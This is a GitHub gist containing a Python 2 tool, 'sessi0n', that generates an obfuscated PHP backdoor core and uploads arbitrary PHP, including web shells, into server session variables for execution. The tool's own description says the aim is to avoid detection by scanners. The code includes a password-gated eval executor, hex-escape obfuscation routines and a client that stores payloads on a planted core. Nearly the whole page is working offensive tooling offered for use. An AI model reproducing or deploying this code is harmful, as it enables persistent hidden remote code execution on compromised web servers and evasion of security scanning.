Skip to content

Instantly share code, notes, and snippets.

@ttycelery
Last active May 16, 2018 15:30
Show Gist options
  • Save ttycelery/c340c04ef9c9a087d60280f31bb2fab7 to your computer and use it in GitHub Desktop.
Save ttycelery/c340c04ef9c9a087d60280f31bb2fab7 to your computer and use it in GitHub Desktop.
sessi0n: simple tool to store PHP script as session variable and evaluate it.
#!/usr/bin/python2
# - sessi0n
# | Date: 18/02/2018
# | Author: P4kL0nc4t
# | Description: simple tool to store PHP script as session variable and evaluate it.
print('''\
_ ___
___ ___ ___ ___ (_) _ \___ | sessi0n: session based PHP script
(_-</ -_|_-<(_-</ / // / _ \\ | { v1.1 }
/___/\__/___/___/_/\___/_//_/ | https://github.com/p4kl0nc4t
''')
import sys
import hashlib
import argparse
try:
import cfscrape
except:
import requests
import random
import re
argp = argparse.ArgumentParser(description="sessi0n is a tool used to store PHP script (including web shell) as session variable to avoid detection of scanners and improves its functionality.", epilog="report issues: faizzjazadi[@]gmail[.]com")
subs = argp.add_subparsers(dest="mode")
s_parser = subs.add_parser('create')
s_parser.add_argument('output', help="where to store the generated sessi0n core")
s_parser.add_argument('password', help="password for the sessi0n core")
s_parser.add_argument('--noobf', help="disable obfuscation of generated sessi0n core script", action="store_true")
y_parser = subs.add_parser('store')
y_parser.add_argument('url', help="url of the uploaded sessi0n core")
y_parser.add_argument('password', help="password of the generated sessi0n core")
y_parser.add_argument('behavior_file', help="PHP file that will be stored as session variable and executed")
y_parser.add_argument('--sid', help="set a custom session id")
args = argp.parse_args()
def hexcape(string):
hexcaped = ""
for letter in string:
hexcaped += "\\x" + letter.encode('hex')
return hexcaped
def rand_hexcape(string, z=False):
hexcape_count = random.randint(1, len(string))
if z == True: hexcape_count = int(z)
hexcaped_index = []
for i in range(hexcape_count-1):
done = False
while done == False:
rand_index = random.randint(0, len(string)-1)
if rand_index not in hexcaped_index:
hexcaped_index.append(rand_index)
done = True
string = list(string)
for index in hexcaped_index:
string[index] = hexcape(string[index])
string = ''.join(string)
return string
def main():
if args.mode == "store":
pbs = args.behavior_file
url = args.url
key = args.password
print("[i] sessi0n is running in STORE mode")
cookies = None
try:
scraper = cfscrape.create_scraper()
except:
scraper = requests.Session()
if args.sid:
print("[i] using custom session id: '{}'".format(args.sid))
if not re.match("^[-,a-zA-Z0-9]{1,128}$", args.sid):
print("[!] session id does not match the regex r\"^[-,a-zA-Z0-9]{1,128}$\"! leaving it empty.")
cookies = None
else:
setsid = scraper.get(url, params={'sid': args.sid}, allow_redirects=False, headers={'cks': 'cks'})
cookies = setsid.cookies
print("[i] establishing connection with {} . . .".format(url))
auth_req = scraper.get(url, headers={'SYNCKEY': key}, cookies=cookies)
session = None
if auth_req.status_code == 444:
session = auth_req.cookies
else:
print("[!] login failed, http response:{}. Exiting."\
.format(str(auth_req.status_code)))
sys.exit()
SID = auth_req.headers['X-SID'].encode('utf-8')
print("[*] got SID: {}".format(SID))
print("[i] setting up behavior script '{}' . . .".format(pbs))
file = open(pbs, 'r')
pbs_content = ""
for line in file.readlines():
pbs_content += line
scraper.post(url, data={'c': pbs_content}, cookies=session)
print("[i] behavior script successfully stored as session variable!")
url_c = "Access URL: " + url + "?sid={}".format(str(SID))
tablen = len(url_c) + 4
print("[|] " + tablen*"-")
print("[>] | {} |".format(url_c))
print("[|] " + tablen*"-")
elif args.mode == "create":
print("[i] sessi0n is running in CREATE mode")
password = args.password
m = hashlib.md5()
m.update(password)
password = m.hexdigest()
output = args.output
template = """<?php /* */ error_reporting(0);if(isset($_GET["sid"])){session_id($_GET["sid"]);session_start();!isset($_SERVER["HTTP_CKS"]) OR session_destroy();header("Location: ?");exit();}$sfunc=create_function("\$ace","eval(\$ace);exit;");$ze="base64_"."en"."code";$zx="base64_"."de"."code";session_start();header("X-SID: ".session_id());$cdk=""" + "\"" + password + "\"" + """;function fne($h,$e=true){header($h);if($e==true) exit;}isset($_SESSION["LN"])OR$_SESSION["LN"]=FALSE;if(isset($_SERVER["HTTP_SYNCKEY"])&&$_SESSION["LN"]==FALSE&&md5($_SERVER["HTTP_SYNCKEY"])==$cdk){fne("HTTP/1.0 444 Special",false);$_SESSION["LN"]=true;exit;}if(isset($_POST["c"])){$_SESSION["c"]=$ze("?>".$_POST["c"]);}elseif(!isset($_SESSION["c"])){$_SESSION["c"]=false;}$_SESSION['c']==false OR $sfunc($zx($_SESSION["c"])); ?>"""
if not args.noobf:
print("[i] obfuscating core script . . .")
template = template.replace("eval(\\$ace);exit;", hexcape("eval(") + "\\$ace);" + hexcape("exit") + ";")
word_clist = ['Location: ?', 'sid', 'X-SID: ', "LN", "CKS", "c", password, "HTTP/1.0 444 Special", "HTTP_SYNCKEY", 'ass', 'e', 'rt', 'base64_', 'en', 'code', 'de', "?>"]
for word in word_clist:
template = template.replace('"'+word+'"', '"'+rand_hexcape(word)+'"')
var_clist = ['_SESSION', '_POST', '_GET', '_SERVER', 'sfunc', 'zx', 'ze', 'cdk']
for var in var_clist:
template = template.replace("$"+var, "${\""+rand_hexcape(var)+"\"}")
print("[i] writing core script into '{}'".format(output))
f_output = open(output, 'w')
f_output.write(template)
print("[*] done! you can do more obfuscation for '{}' as long as it is still usable".format(output))
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(": SIGINT detected, exiting.")
sys.exit()
except Exception as e:
print("[!] exception: {}".format(str(e)))
pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment